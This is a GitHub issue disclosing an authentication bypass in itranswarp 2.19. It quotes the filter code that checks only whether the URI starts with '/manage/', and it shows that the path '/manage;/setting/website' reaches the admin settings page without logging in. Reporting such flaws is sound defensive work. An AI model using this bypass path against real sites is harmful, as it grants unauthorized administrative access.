

New issue



Authentication bypass in itranswarp #73

Open



RacerZ-fighting opened on Sep 26, 2024



version: 2.19

branch: master

Problem

There is a authentication bypass vulnerability in itranswarp. An attacker can exploit this vulnerability to access /manage without any token.

sourcecode

In `com.itranswarp.web.filter.GlobalFilterRegistrationBean.GlobalFilter#doFilter`, the method `jakarta.servlet.http.HttpServletRequest#getRequestURI` is used to obtain the resource being accessed by the current user. No special character filtering is performed, and authorization is directly based on whether the `uri` starts with `/manage/`.

```
String uri = request.getRequestURI();
if (!uri.startsWith("/files/")) {
    response.setCharacterEncoding("UTF-8");
}
if (uri.startsWith("/manage/")) {
    if (user == null) {
        response.sendRedirect(s: "/auth/signin");
        return;
    }
    if (user.role.value > Role.CONTRIBUTOR.value) {
        logger.info("prevent access /manage/ for user {}", user);
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
}
```

Therefore, it is possible to bypass this check by using `/manage;/`.

Reproduce the vulnerability

Access `http://localhost:2019/manage/setting/website` directly will be redirected to `http://localhost:2019/auth/signin`

http://localhost:2019/auth/signin

iTranswarp

Headlines

Sample

Sample Tutorial

Help

Discuss

External

Password

Passkey

Please signin with password:

电子邮件:

email@example.com

口令:

password

登录

iTranswarp

Powered by iTranswarp

意见反馈

使用许可

But if access `http://localhost:2019/manage;/setting/website`

http://localhost:2019/manage;/setting/website

管理

讨论

头条

文章

页面

维基

附件

用户

导航

链接

搜索

广告

设置

website

snippet

follow

security

Name:

iTranswarp

Description:

Description

Language code:

Language code

Keywords:

Keywords

XML namespace:

XML namespace

Copyright:

Copyright

Custom Fonts:

Custom Fonts

Custom header:

Custom header

1

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

